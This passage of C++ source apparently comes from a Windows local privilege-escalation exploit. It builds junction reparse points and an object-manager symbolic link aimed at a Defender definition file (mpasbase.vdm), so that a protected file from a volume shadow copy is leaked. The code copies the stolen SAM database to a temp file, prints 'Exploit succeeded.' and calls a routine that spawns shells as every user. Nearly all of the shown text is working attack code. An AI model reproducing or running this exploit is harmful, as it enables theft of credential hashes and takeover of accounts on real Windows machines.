3233  			totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
3234  			rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);
3235  			rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
3236  			rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
3237  			rdb->Reserved = NULL;
3238  			rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
3239  			rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
3240  			memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
3241  			rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
3242  			rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
3243  			memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, printname, printnamesz);
3244  
3245  			ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
3246  			if (!ov.hEvent)
3247  			{
3248  				printf("Failed to create event, error : %d", GetLastError());
3249  				goto cleanup;
3250  			}
3251  			DeviceIoControl(hreparsedir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, &ov);
3252  			HeapFree(GetProcessHeap(), NULL, rdb);
3253  			rdb = NULL;
3254  			if (GetLastError() == ERROR_IO_PENDING) {
3255  				GetOverlappedResult(hreparsedir, &ov, &retsz, TRUE);
3256  			}
3257  			if (GetLastError() != ERROR_SUCCESS)
3258  			{
3259  				printf("Failed to create reparse point, error : %d", GetLastError());
3260  				goto cleanup;
3261  			}
3262  			printf("Junction created %ws => %ws\n", updatepath, rptarget);
3263  
3264  			ZeroMemory(nttargetfile, sizeof(nttargetfile));
3265  			wcscpy(nttargetfile, fullvsspath);
3266  			wcscat(nttargetfile, filestoleak[x]);
3267  
3268  			RtlInitUnicodeString(&objlinkname, L"\\BaseNamedObjects\\Restricted\\mpasbase.vdm");
3269  			RtlInitUnicodeString(&objlinktarget, nttargetfile);
3270  			InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, NULL, NULL);
3271  
3272  			ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);
3273  			if (ntstat)
3274  			{
3275  				printf("Failed to create object manager symbolic link, error : %d", GetLastError());
3276  				goto cleanup;
3277  			}
3278  			printf("Object manager link created %ws => %ws\n", objlinkname.Buffer, objlinktarget.Buffer);
3279  
3280  			//TerminateThread(hthread, ERROR_SUCCESS); // kill the thread, don't care if it is still running
3281  			//CloseHandle(hthread);
3282  			//hthread = NULL;
3283  			CloseHandle(ov.hEvent);
3284  			ov.hEvent = NULL;
3285  			CloseHandle(ovd.hEvent);
3286  			ovd.hEvent = NULL;
3287  			CloseHandle(hupdatefile);
3288  			hupdatefile = NULL;
3289  
3290  
3291  			wcscat(newdefupdatedirname, L"\\mpasbase.vdm");
3292  			do {
3293  				hleakedfile = CreateFile(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
3294  			} while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
3295  			printf("Leaked file opened %ws\n", newdefupdatedirname);
3296  
3297  
3298  			CloseHandle(hdir);
3299  			hdir = NULL;
3300  			CloseHandle(hreparsedir);
3301  			hreparsedir = NULL;
3302  			CloseHandle(hobjlink);
3303  			hobjlink = NULL;
3304  
3305  			GetFileSizeEx(hleakedfile, &_filesz);
3306  			LockFileEx(hleakedfile, LOCKFILE_EXCLUSIVE_LOCK, NULL, _filesz.LowPart, _filesz.HighPart, &ovd2);
3307  			filelocked = true;
3308  			leakedfilebuff = malloc(_filesz.QuadPart);
3309  			if (!leakedfilebuff)
3310  			{
3311  				printf("Failed to allocate enough memory to copy leaked file !!!");
3312  				goto cleanup;
3313  			}
3314  
3315  			if (!ReadFile(hleakedfile, leakedfilebuff, _filesz.QuadPart, &__readsz, NULL))
3316  			{
3317  				printf("Failed to read file, error : %d\n", GetLastError());
3318  				goto cleanup;
3319  			}
3320  
3321  			UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
3322  			filelocked = false;
3323  			CloseHandle(hleakedfile);
3324  			printf("Read %d bytes\n", __readsz);
3325  
3326  			ZeroMemory(copiedfilepath, sizeof(copiedfilepath));
3327  
3328  			UuidCreate(&uid);
3329  			UuidToStringW(&uid, &wuid);
3330  			wuid2 = (wchar_t*)wuid;
3331  			wchar_t env2[MAX_PATH] = { 0 };
3332  			wcscpy(env2, L"%TEMP%\\");
3333  			wcscat(env2, wuid2);
3334  
3335  			ExpandEnvironmentStrings(env2, copiedfilepath, sizeof(copiedfilepath) / sizeof(wchar_t));
3336  			//wcscat(copiedfilepath, L"\\");
3337  			//wcscat(copiedfilepath, PathFindFileName(filestoleak[x]));
3338  
3339  			hleakedfile = CreateFile(copiedfilepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
3340  			if (!hleakedfile || hleakedfile == INVALID_HANDLE_VALUE)
3341  			{
3342  				printf("Failed to create leaked file, error : %d", GetLastError());
3343  				goto cleanup;
3344  			}
3345  			if (!WriteFile(hleakedfile, leakedfilebuff, _filesz.QuadPart, &__readsz, NULL))
3346  			{
3347  				printf("Failed to write leaked file, error : %d", GetLastError());
3348  				CloseHandle(hleakedfile);
3349  				hleakedfile = NULL;
3350  				// delete the file
3351  				DeleteFile(copiedfilepath);
3352  				goto cleanup;
3353  			}
3354  			CloseHandle(hleakedfile);
3355  			hleakedfile = NULL;
3356  			printf("Exploit succeeded.\n");
3357  			SetEvent(hreleaseready);
3358  
3359  			printf("SAM file written at : %ws\n", copiedfilepath);
3360  			DoSpawnShellAsAllUsers(copiedfilepath);
3361  
3362  			WaitForSingleObject(hthread, INFINITE);
3363  			CloseHandle(hthread);
3364  			hthread = NULL;
3365  
3366  
3367  			
3368  		}
3369  
3370  	}
3371  	catch (int exception)
3372  	{
3373  		goto cleanup;
3374  	}
3375  
3376  cleanup:
3377  
3378  	if(hint)
3379  		InternetCloseHandle(hint);
3380  	if(hint)
3381  		InternetCloseHandle(hint2);
3382  	if (exebuff)
3383  		free(exebuff);
3384  	if(mappedbuff)
3385  		UnmapViewOfFile(mappedbuff);
3386  	if (hmapping)
3387  		CloseHandle(hmapping);
3388  	if (hcabctx)
3389  		FDIDestroy(hcabctx);
3390  	if (hdir)
3391  		CloseHandle(hdir);
3392  	if (fri)
3393  		free(fri);
3394  	if (rdb)
3395  		HeapFree(GetProcessHeap(), NULL, rdb);
3396  	if (ov.hEvent)
3397  		CloseHandle(ov.hEvent);
3398  	if (ovd.hEvent)
3399  		CloseHandle(ovd.hEvent);
3400  
3401  	if (hreleaseready)
3402  	{
3403  		SetEvent(hreleaseready);
3404  		Sleep(1000);
3405  		CloseHandle(hreleaseready);
3406  	}
3407  	if (hleakedfile)
3408  	{
3409  		if (filelocked)
3410  			UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
3411  		CloseHandle(hleakedfile);
3412  	}
3413  	if (leakedfilebuff)
3414  		free(leakedfilebuff);
3415  	if (hcurrentthread)
3416  		CloseHandle(hcurrentthread);
3417  	if (needupdatedircleanup)
3418  	{
3419  		wchar_t dirtoclean[MAX_PATH] = { 0 };
3420  		wcscpy(dirtoclean, dirmoved ? newtmp : updatepath);
3421  		UpdateFilesListCurrent = UpdateFilesList;
3422  		while(UpdateFilesListCurrent)
3423  		{
3424  
3425  			if (UpdateFilesListCurrent->filecreated)
3426  			{
3427  				wchar_t filetodel[MAX_PATH] = { 0 };
3428  				wcscpy(filetodel, dirtoclean);
3429  				wcscat(filetodel, L"\\");
3430  				MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t));
3431  				DeleteFile(filetodel);
3432  			}
3433  			UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent;
3434  			UpdateFilesListCurrent = UpdateFilesListCurrent->next;
3435  			free(UpdateFilesListOld);
3436  		}
3437  		RemoveDirectory(dirtoclean);
3438  	}
3439  
3440  
3441  	return 0;
3442  }
3443  
3444  
3445  // Run program: Ctrl + F5 or Debug > Start Without Debugging menu
3446  // Debug program: F5 or Debug > Start Debugging menu
3447  
3448  // Tips for Getting Started: 
3449  //   1. Use the Solution Explorer window to add/manage files
3450  //   2. Use the Team Explorer window to connect to source control
3451  //   3. Use the Output window to see build output and other messages
3452  //   4. Use the Error List window to view errors
3453  //   5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project
3454  //   6. In the future, to open this project again, go to File > Open > Project and select the .sln file